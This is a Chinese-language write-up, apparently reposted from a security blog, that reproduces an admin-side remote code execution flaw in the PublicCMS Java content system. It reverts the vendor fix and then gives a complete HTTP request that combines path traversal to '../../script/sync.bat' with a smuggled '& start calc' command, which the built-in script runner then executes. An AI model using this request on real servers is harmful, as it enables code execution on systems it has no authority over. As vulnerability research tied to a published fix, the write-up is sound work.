复现大佬审计的javaCMS漏洞
环境下载
https://github.com/sanluan/PublicCMS
最新版本的漏洞修复了,将CmsFileUtils文件中的代码，修改为漏洞修复前代码
publiccms-parent/publiccms-core/src/main/java/com/publiccms/common/tools/CmsFileUtils.java
File file = Paths.get(dirPath, result.getPath()).toFile(); //修复前
//File file = Paths.get(dirPath, CmsFileUtils.getSafeFileName(result.getPath())).toFile(); //修复后
环境搭建
jdk1.8
idea2020
mysql
下载代码后，将代码用idea载入即可，要手动载入junit包
working directory配置项
设置到publiccms-parentpubliccms
配置后环境后，直接启动，然后进行安装程序
登录后台
漏洞复现
有一个执行脚本的功能点，脚本可选择bat或sh(用于Windows和Linux两个操作系统上)
构造数据包修改脚本文件内容
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua-platform: "Windows"
Cookie: JSESSIONID=95329D5E39F69B69F0A291CC119EE56F; PUBLICCMS_ADMIN=1_2b46f00d-3f68-4479-a831-35be6a8fd772
Origin: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Referer: http://127.0.0.1:8080/admin/
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
sec-ch-ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 72
_csrf=2b46f00d-3f68-4479-a831-35be6a8fd772&word=echo "repo not config!"&replace=echo "repo not config!" & start calc&replaceList[0].path=../../script/sync.bat&replaceList[0].indexs=0
将 sync.bat 文件中写入 start calc
接着在执行脚本的功能点，执行文件
漏洞利用成功
漏洞分析文章
https://forum.butian.net/share/2490
https://github.com/sanluan/PublicCMS/commit/c878442ec4dc77203c780c8a39bb5e7af47cf73b
原文始发于微信公众号（安全逐梦人）：JAVA PublicCMS后台RCE漏洞复现
